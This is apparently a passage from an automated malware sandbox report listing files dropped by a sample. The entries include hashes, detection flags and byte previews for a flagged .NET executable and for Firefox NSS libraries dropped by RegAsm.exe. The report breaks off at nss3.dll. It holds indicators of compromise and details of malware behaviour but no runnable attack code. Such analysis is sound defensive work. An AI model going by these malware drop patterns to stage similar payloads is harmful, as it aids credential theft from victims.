Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="488000" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7810.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95180
Entropy (8bit):	3.0591759621108117
Encrypted:	false
SSDEEP:	1536:T6SfDiQQKgx2A+j+s/UY4szCvSR3/6BSUDJ4jfyw/XzR+IYU4V:T6SfDiQQKgx2A+j+s/UY4szCvSR3/6Bd
MD5:	01821EEF793A8BD03A4ADF8679BFFF8A
SHA1:	7B4145C3BE8D12C3BDA087FB694436915380F5C9
SHA-256:	C4592227CF3D81657D4796EE11D228D148DCC643C8FCFEB7F0A5C3AC59C6192B
SHA-512:	84DD2F552E81453E4DCFE4677D067283D21BA125057F294B3CB21CF9736A644018EC703769020961EACBD8E814B527F4D909F6636254572CBE65FE70A317A8D3
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER78EB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6456
Entropy (8bit):	3.7303014227903133
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbvXt6zvYZYqeVqQE/qCo65aM4U3t89bTXsf2XRm:R6l7wVeJPt6bYZlXbpr3t89bTXsfuRm
MD5:	CC2FF1E693D6F6EA3344000832FCD564
SHA1:	EE39A98D9A2AEED755C64DDCCF2BE4DAB858AF5F
SHA-256:	A41615C91096E3353FC7DF03B3EDB1FAFF81F63AEAA41CD8D50381CBC442B48C
SHA-512:	FAC5103A02940D7BBF900EC3CAE7F9796F4419C6DC3117D65A1A961678F5A92FAF2B09B466BE52611DACD13503D072A305D408FBBF44A6AD45F854506A78AE45
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER793B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4788
Entropy (8bit):	4.543593723547031
Encrypted:	false
SSDEEP:	48:cvIwWl8zsOJg77aI93eLFWpW8VYXPYm8M4JhB2Fcas+q8vxBL1KKdtewA1d:uIjfEI74I7ViSJbasKj1KG5A1d
MD5:	0DF813F698E0735EDE88423FD756199E
SHA1:	3D5BF1570F4DA4986CE66C638917B2E2307C31AE
SHA-256:	572C8882F737DE113D67D234EED84007962D06D0FFE1FF51993EF4653D46633E
SHA-512:	97825E77E0FE26A25AD542B33A564C5E3DC2FFCB17A572821EDEFAF3F7D928EA7AD52FBE1F58DB12532B515B723AA27D5C0E4CB355E484CEAD0E0C84F96DA959
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="488000" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79F5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95352
Entropy (8bit):	3.059431670689762
Encrypted:	false
SSDEEP:	1536:azV0piQQJgx19A+jms/UY4szCvSR3/IBPUDh27q5w5wzYhvpGe1:azV0piQQJgx19A+jms/UY4szCvSR3/Ij
MD5:	7C61C96ECA76D86B1934CAB7682A52C6
SHA1:	06B209DA57EA9D8A1C1BE5710C04E21BE0807E96
SHA-256:	D7B38EDA65975EAC1C2B4AC241572B983A3B8ECAA75A6E5427A31DBF0ACADA0A
SHA-512:	83F0F799CC0A481180D29F9067F4DAB0FD6BC8B4F815E0456EDEDC5DE97DC2762DBEEC52B80BCE807F7FADCE583D0CDAA685165E2D90A3F4004F51A5496DE357
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E3C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685856636053193
Encrypted:	false
SSDEEP:	96:TiZYWTLHWuBY3YluW5HS6YEZR9tHiKIcamwwQ5YapZogMJaaIdy3:2ZDPgYN9japZogMJaNdy3
MD5:	9BFBF691110547F3934F93577D0715B5
SHA1:	AB8E51DB9D10980591A8051D036B02AEEF7BE0FE
SHA-256:	F01374F402EA5883C75F4716AFA5FA002FA4AAA62782DE7C4D2AF66478916F51
SHA-512:	03EFE44B34CBD6C4BF15267E792FAB030AAFC611D1661D6B3162D80F735D4953B3D1D23A6DAC261D8F8D68AACC33B2DD3CD8558E498D0839C117D4DC939E57A0
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8409.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6854424820897456
Encrypted:	false
SSDEEP:	96:TiZYWx3ssvQY4YE5WBoHS0YEZIZtHiGIu5cwppJza5oNBMWddIay3:2ZDevDsBja5ojMWdiay3
MD5:	CF7A34C526CB04A67FA1FAC4ABE3E010
SHA1:	3EE76B29795A08BCAD3F565429D25214CDA09820
SHA-256:	2F3C5011950033866952DBC795BFD479A822E5FBC30C7667902E9615F59B9E66
SHA-512:	40EFB32C3FD385E8603447BB5B88E263355F89179E6B79B4CDDA6905021BD78FB3F47F0E2F4AD4CC1CD22245CB212B250BCEBC7750A41EE820C712EDEDA61AA8
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF811.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94080
Entropy (8bit):	3.0500725492777727
Encrypted:	false
SSDEEP:	1536:SuJUbcZUy7qA+Adlz0xYa/m7sulZ1qubxIBdI8MwrBPdOz3WPRKK:SuJUbcZUy7qA+Adlz0xYa/m7sulZ1quw
MD5:	4B24E4D96D6F8F11635A8432DC8531D7
SHA1:	937A7B910A4B729E2F020EEFDCDF1A321EBB8872
SHA-256:	961D8EF4C0C612BA29647B6F17D14AD0BBA08E3C38003EC97FC713B2BEEF4CC0
SHA-512:	95745459314BE8C0E0E74269E9A08C9CD86492D128736DAAB0CEB98977B302E1DC611BBD95AA73C2FF225B4A74A4DF955FD825C09D4B3801CFF342BF156521EB
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB5E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.693121029995629
Encrypted:	false
SSDEEP:	96:TiZYWyaRf7vYAYMWiosH1+YEZ+ntHiJIU58wMDBATaLolM608IFy5:2ZDTXbBSaLolM607Fy5
MD5:	33D302C666245AD3D8CA3CC3FA029877
SHA1:	C7AE14490B216729F0E156643B31392833867056
SHA-256:	3ADECA0F71CD698FB45B8179A0F6BCB0EBBEBE013204123BD31CA0CFF2885C74
SHA-512:	48EAB4BE004D985365480AD6B007628CC406E12219F59947B5A84E23091D33C1543E421DC3881D9175133E7451C1DBC88ED6A4DE25CE51D6F9997C51A1B5D273
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\db96-it-45.dat

Download File

Process:	C:\Users\user\AppData\Local\NewStar\newstar.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9:9
MD5:	C374BF67AF998B9561EA1563EA388F3A
SHA1:	027EFDBC4CFCF7AD97353365FBEA196C5982BE28
SHA-256:	1327D1AD58BD026DC10280167339360414467DEAF1819FEF3D3859FCA6E55353
SHA-512:	5D0394B7377D5B365365302117D9F5FF3C4B3E3D0E15BCC308E8A2976FBD8142760E7DBAC91310F893A139B782890BE77A0A0374BFB9D6EBA4EE27957D62344B
Malicious:	false
Reputation:	unknown
Preview:	...f....

C:\ProgramData\db96-rc-45.dat

Download File

Process:	C:\Users\user\AppData\Local\NewStar\newstar.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:Nln:3
MD5:	EC79CAC610CA8A31F9775461C821494C
SHA1:	163D4250C6BD6D162A7AEDCD4EB4A4D378ED0D3A
SHA-256:	8D71B3FAAB8201459AD37EF499BEB336BA88BDCFA0F51EE6F0A46EC3192D750A
SHA-512:	83820896ABF442451FD29958DB01341F82C0F71A097CC19421457C95C5B3348C8267AE912C8A82115D1CFE3AE4ED30A198FD972565F9A9C6049D2C52E3586170
Malicious:	false
Reputation:	unknown
Preview:	...

C:\ProgramData\db96-res-a.dat

Download File

Process:	C:\Users\user\AppData\Local\NewStar\newstar.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	unknown
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\db96-res-b.dat

Download File

Process:	C:\Users\user\AppData\Local\NewStar\newstar.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.2701231977328944
Encrypted:	false
SSDEEP:	3:WAmJuXDz8/:HHzc
MD5:	0D6174E4525CFDED5DD1C9440B9DC1E7
SHA1:	173EF30A035CE666278904625EADCFAE09233A47
SHA-256:	458677CDF0E1A4E87D32AB67D6A5EEA9E67CB3545D79A21A0624E6BB5E1087E7
SHA-512:	86DA96385985A1BA3D67A8676A041CA563838F474DF33D82B6ECD90C101703B30747121A6B7281E025A3C11CE28ACCEDFC94DB4E8D38E391199458056C2CD27A
Malicious:	false
Reputation:	unknown
Preview:	ccddf9e705966c2f471db9..........................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jewkkwnf\jewkkwnf.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
